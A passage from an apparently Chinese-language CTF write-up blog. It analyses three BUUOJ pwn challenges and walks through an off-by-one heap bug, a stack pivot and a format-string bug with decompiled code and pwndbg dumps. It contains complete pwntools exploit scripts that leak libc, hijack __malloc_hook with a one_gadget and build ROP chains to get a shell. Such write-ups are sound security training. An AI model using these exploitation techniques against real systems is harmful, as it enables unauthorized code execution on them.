<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">sub_E26</span><span class="params">(<span class="keyword">int</span> a1, <span class="keyword">unsigned</span> <span class="keyword">int</span> a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> ( a1 &gt; a2 )</span><br><span class="line">    <span class="keyword">return</span> a2;</span><br><span class="line">  <span class="keyword">if</span> ( a2 - a1 == <span class="number">10</span> )</span><br><span class="line">    LODWORD(result) = a1 + <span class="number">1</span>;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    LODWORD(result) = a1;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>有off-by-one，当输入的size与原来的相差是10的时候，会加1。</p>
<p>delete：没有什么问题。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 <span class="title">sub_F8E</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v2; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  __int64 v4; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;index: &quot;</span>);</span><br><span class="line">  v0 = INPUT(v3);</span><br><span class="line">  v4 = v0;</span><br><span class="line">  v2 = v0;</span><br><span class="line">  <span class="keyword">if</span> ( v0 &gt;= <span class="number">0LL</span> &amp;&amp; v0 &lt;= <span class="number">15LL</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    v4 = *(&amp;unk_202040 + <span class="number">4</span> * v0);</span><br><span class="line">    <span class="keyword">if</span> ( v4 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      *(&amp;unk_202040 + <span class="number">4</span> * v0) = <span class="number">0</span>;</span><br><span class="line">      *(&amp;unk_202044 + <span class="number">4</span> * v0) = <span class="number">0</span>;</span><br><span class="line">      <span class="built_in">free</span>(qword_202048[<span class="number">2</span> * v0]);</span><br><span class="line">      qword_202048[<span class="number">2</span> * v2] = <span class="number">0LL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> v4;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>



<p>首先calloc几个chunk</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">create(<span class="number">0x58</span>) <span class="comment">#0,,这里calloc 0x58方便后面的写入</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#1</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#2</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#3</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#4</span></span><br></pre></td></tr></table></figure>

<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/60gx 0x555555757000</span></span><br><span class="line">0x555555757000:	0x0000000000000000	0x0000000000000061</span><br><span class="line">0x555555757010:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757020:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757030:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757040:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757050:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757060:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x555555757070:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757080:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757090:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570a0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570b0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570d0:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x5555557570e0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570f0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757100:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757110:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757120:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757130:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757140:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x555555757150:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757160:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757170:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757180:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757190:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557571a0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557571b0:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x5555557571c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557571d0:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p>之后：</p>
<p><code>write(0, 0x58 + 0xa, &#39;a&#39;* 0x58 + &#39;\xe1&#39;)</code></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/60gx 0x555555757000</span></span><br><span class="line">0x555555757000:	0x0000000000000000	0x0000000000000061</span><br><span class="line">0x555555757010:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555757020:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555757030:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555757040:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555757050:	0x6161616161616161	0x6161616161616161</span><br><span class="line">0x555555757060:	0x6161616161616161	0x00000000000000e1 &lt;=注意这里</span><br><span class="line">0x555555757070:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757080:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757090:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570a0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570b0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570d0:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x5555557570e0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557570f0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757100:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757110:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757120:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757130:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757140:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x555555757150:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757160:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757170:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757180:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x555555757190:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557571a0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557571b0:	0x0000000000000000	0x0000000000000071</span><br><span class="line">0x5555557571c0:	0x0000000000000000	0x0000000000000000</span><br><span class="line">0x5555557571d0:	0x0000000000000000	0x0000000000000000</span><br></pre></td></tr></table></figure>

<p>然后drop掉idx1，这样的话idx1和2都会进入bin中。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">drop(<span class="number">1</span>)</span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#1</span></span><br><span class="line">show(<span class="number">2</span>) <span class="comment">#2 is unsortbin</span></span><br><span class="line"><span class="comment">#这样会把fd和bk指针打出来</span></span><br><span class="line"></span><br><span class="line">libc_base = address -  <span class="number">0x3c4b20</span> - <span class="number">0x58</span></span><br><span class="line">main_arean = address - <span class="number">0x58</span></span><br><span class="line">one_gadget = <span class="number">0x4526a</span></span><br><span class="line">fake_chunk = main_arean - <span class="number">0x33</span></span><br></pre></td></tr></table></figure>

<p>show的地址是 unsorted bin 链表的头部，跟 main_arena 的偏移固定 0x58，同时 main_arena 跟 libc 的偏移可以通过工具计算出来 <a target="_blank" rel="noopener" href="https://github.com/bash-c/main_arena_offset">https://github.com/bash-c/main_arena_offset</a></p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/main_arena_offset$ ./main_arena ../Desktop/libc-2.23.so </span><br><span class="line">[+]libc version : glibc 2.23</span><br><span class="line">[+]build ID : BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141</span><br><span class="line">[+]main_arena_offset : 0x1b0780</span><br><span class="line">gwt@ubuntu:~/main_arena_offset$ ./main_arena /lib/x86_64-linux-gnu/libc.so.6</span><br><span class="line">[+]libc version : glibc 2.23</span><br><span class="line">[+]build ID : BuildID[sha1]=30773be8cf5bfed9d910c8473dd44eaab2e705ab</span><br><span class="line">[+]main_arena_offset : 0x3c4b20</span><br></pre></td></tr></table></figure>

<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">create(<span class="number">0x60</span>) <span class="comment">#5 (on 2&#x27;s address)</span></span><br><span class="line">drop(<span class="number">2</span>)</span><br><span class="line">write(<span class="number">5</span>, <span class="number">0x8</span>, p64(fake_chunk))</span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#5 (2)</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#6 fake chunk</span></span><br><span class="line">realloc_addr=libc_base+libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>malloc_hook 劫持为 realloc ，realloc_hook 劫持为 onegadget ：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&#x27;\x00&#x27;</span>*<span class="number">11</span> + p64(one_gadget + libc_base) + p64(realloc_addr)</span><br><span class="line">write(<span class="number">6</span>, <span class="built_in">len</span>(payload), payload)</span><br></pre></td></tr></table></figure>

<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#coding:utf-8</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#p = process(&#x27;./roarctf_2019_easy_pwn&#x27;)</span></span><br><span class="line">p = remote(<span class="string">&#x27;node4.buuoj.cn&#x27;</span>,<span class="number">25955</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line">context(os = <span class="string">&#x27;linux&#x27;</span>, arch = <span class="string">&#x27;amd64&#x27;</span>, log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">cmd</span>(<span class="params">choice</span>):</span></span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;choice: &#x27;</span>,<span class="built_in">str</span>(choice))</span><br><span class="line"> </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">create</span>(<span class="params">size</span>):</span></span><br><span class="line">  cmd(<span class="number">1</span>)</span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;size: &#x27;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">   </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">write</span>(<span class="params">index,size,content</span>):</span></span><br><span class="line">  cmd(<span class="number">2</span>)</span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;index: &#x27;</span>,<span class="built_in">str</span>(index))</span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;size: &#x27;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;content: &#x27;</span>,content)</span><br><span class="line">   </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">drop</span>(<span class="params">index</span>):</span></span><br><span class="line">  cmd(<span class="number">3</span>)</span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;index: &#x27;</span>,<span class="built_in">str</span>(index))</span><br><span class="line">   </span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">show</span>(<span class="params">index</span>):</span></span><br><span class="line">  cmd(<span class="number">4</span>)</span><br><span class="line">  p.sendlineafter(<span class="string">&#x27;index: &#x27;</span>,<span class="built_in">str</span>(index))</span><br><span class="line"> </span><br><span class="line">create(<span class="number">0x58</span>) <span class="comment">#0</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#1</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#2</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#3</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#4</span></span><br><span class="line">write(<span class="number">0</span>, <span class="number">0x58</span> + <span class="number">0xa</span>, <span class="string">&#x27;a&#x27;</span>* <span class="number">0x58</span> + <span class="string">&#x27;\xe1&#x27;</span>)</span><br><span class="line">drop(<span class="number">1</span>)</span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#1</span></span><br><span class="line">show(<span class="number">2</span>) <span class="comment">#2 is unsortbin</span></span><br><span class="line">p.recvuntil(<span class="string">&quot;content: &quot;</span>)</span><br><span class="line">address = u64(p.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line">libc_base = address -  <span class="number">0x3c4b20</span> - <span class="number">0x58</span></span><br><span class="line">main_arean = address - <span class="number">0x58</span></span><br><span class="line">one_gadget = <span class="number">0x4526a</span></span><br><span class="line">fake_chunk = main_arean - <span class="number">0x33</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#5 (on 2&#x27;s address)</span></span><br><span class="line">drop(<span class="number">2</span>)</span><br><span class="line">write(<span class="number">5</span>, <span class="number">0x8</span>, p64(fake_chunk))</span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#5 = 2</span></span><br><span class="line">create(<span class="number">0x60</span>) <span class="comment">#6 fake chunk</span></span><br><span class="line">realloc_addr=libc_base+libc.symbols[<span class="string">&#x27;__libc_realloc&#x27;</span>]</span><br><span class="line">payload = <span class="string">&#x27;\x00&#x27;</span>*<span class="number">11</span> + p64(one_gadget + libc_base) + p64(realloc_addr)</span><br><span class="line">write(<span class="number">6</span>, <span class="built_in">len</span>(payload), payload)</span><br><span class="line">create(<span class="number">1</span>)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x33-gyctf-2020-borrowstack"><a href="#0x33-gyctf-2020-borrowstack" class="headerlink" title="0x33.gyctf_2020_borrowstack"></a>0x33.gyctf_2020_borrowstack</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">int</span> __cdecl main(<span class="built_in">int</span> argc, const char **argv, const char **envp)</span><br><span class="line">&#123;</span><br><span class="line">  char buf[<span class="number">96</span>]; // [rsp+0h] [rbp-60h] BYREF</span><br><span class="line"></span><br><span class="line">  setbuf(stdin, 0LL);</span><br><span class="line">  setbuf(stdout, 0LL);</span><br><span class="line">  puts(&amp;s);</span><br><span class="line">  read(<span class="number">0</span>, buf, 0x70uLL);</span><br><span class="line">  puts(<span class="string">&quot;Done!You can check and use your borrow stack now!&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;bank, 0x100uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>没有其他函数。</p>
<p>第一次read 的大小恰好可以覆写ret地址。</p>
<p>迁移栈到bss段，然后第二个read写rop，在之后执行onegadget。</p>
<p>exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment">#io = process(&quot;./gyctf_2020_borrowstack&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">29529</span>)</span><br><span class="line">elf = ELF(<span class="string">&quot;./gyctf_2020_borrowstack&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&quot;./libc-x64-2.23.so&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">one_gadget = <span class="number">0x4526a</span></span><br><span class="line">puts_got = elf.got[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">puts_plt = elf.plt[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">bss_addr = <span class="number">0x601080</span></span><br><span class="line">leave_ret = <span class="number">0x400699</span></span><br><span class="line">ret = <span class="number">0x4004c9</span> </span><br><span class="line">pop_rdi_ret = <span class="number">0x400703</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x60</span> + p64(bss_addr) + p64(leave_ret)</span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">payload = p64(ret) * <span class="number">20</span> + p64(pop_rdi_ret) +p64(puts_got)+p64(puts_plt)+p64(elf.sym[<span class="string">&#x27;main&#x27;</span>])</span><br><span class="line">io.recv()</span><br><span class="line">io.send(payload)</span><br><span class="line">puts_addr = u64(io.recvuntil(<span class="string">&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>,<span class="string">&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(puts_addr)</span><br><span class="line">base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>] </span><br><span class="line">io.recv()</span><br><span class="line">payload = <span class="number">0x68</span>*<span class="string">&#x27;A&#x27;</span>+ p64(base + one_gadget)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x34-axb-2019-fmt32"><a href="#0x34-axb-2019-fmt32" class="headerlink" title="0x34.axb_2019_fmt32"></a>0x34.axb_2019_fmt32</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">257</span>]; <span class="comment">// [esp+Fh] [ebp-239h] BYREF</span></span><br><span class="line">  <span class="keyword">char</span> format[<span class="number">300</span>]; <span class="comment">// [esp+110h] [ebp-138h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v5; <span class="comment">// [esp+23Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0</span>);</span><br><span class="line">  <span class="built_in">puts</span>(</span><br><span class="line">    <span class="string">&quot;Hello,I am a computer Repeater updated.\n&quot;</span></span><br><span class="line">    <span class="string">&quot;After a lot of machine learning,I know that the essence of man is a reread machine!&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;So I&#x27;ll answer whatever you say!&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    alarm(<span class="number">3u</span>);</span><br><span class="line">    <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="keyword">sizeof</span>(s));</span><br><span class="line">    <span class="built_in">memset</span>(format, <span class="number">0</span>, <span class="keyword">sizeof</span>(format));</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Please tell me:&quot;</span>);</span><br><span class="line">    read(<span class="number">0</span>, s, <span class="number">0x100</span>u);</span><br><span class="line">    <span class="built_in">sprintf</span>(format, <span class="string">&quot;Repeater:%s\n&quot;</span>, s);</span><br><span class="line">    <span class="keyword">if</span> ( <span class="built_in">strlen</span>(format) &gt; <span class="number">0x10E</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="built_in">printf</span>(format);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;what you input is really long!&quot;</span>);</span><br><span class="line">  <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ ./axb_2019_fmt32 </span><br><span class="line">Hello,I am a computer Repeater updated.</span><br><span class="line">After a lot of machine learning,I know that the essence of man is a reread machine!</span><br><span class="line">So I&#x27;ll answer whatever you say!</span><br><span class="line">Please tell me:aaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.</span><br><span class="line">Repeater:aaaaa0x804888d.0xffffce5f.0xf7ffd53c.0xffffce68.0xf7fd95c5.0x46.0x61ffcf54.0x61616161.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.</span><br></pre></td></tr></table></figure>

<p>输入一串a测试下。</p>
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> stack 24</span></span><br><span class="line">00:0000│ esp    0xffffce3c —▸ 0x8048700 (main+261) ◂— add    esp, 0x10</span><br><span class="line">01:0004│        0xffffce40 —▸ 0xffffcf60 ◂— 0x0</span><br><span class="line">02:0008│        0xffffce44 —▸ 0x804888d ◂— push   edx /* &#x27;Repeater:%s\n&#x27; */</span><br><span class="line">03:000c│        0xffffce48 —▸ 0xffffce5f ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br><span class="line">04:0010│        0xffffce4c —▸ 0xf7ffd53c (_rtld_global+1308) —▸ 0xf7fd9000 ◂— jg     0xf7fd9047</span><br><span class="line">05:0014│        0xffffce50 —▸ 0xffffce68 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br><span class="line">06:0018│        0xffffce54 —▸ 0xf7fd95c5 ◂— jb     0xf7fd962c /* &#x27;realloc&#x27; */</span><br><span class="line">07:001c│        0xffffce58 ◂— 0x0</span><br><span class="line">08:0020│ ecx-3  0xffffce5c ◂— 0x61ffcf54</span><br><span class="line">09:0024│        0xffffce60 ◂— 0x61616161 (&#x27;aaaa&#x27;)</span><br><span class="line">... ↓</span><br><span class="line">0f:003c│        0xffffce78 ◂— 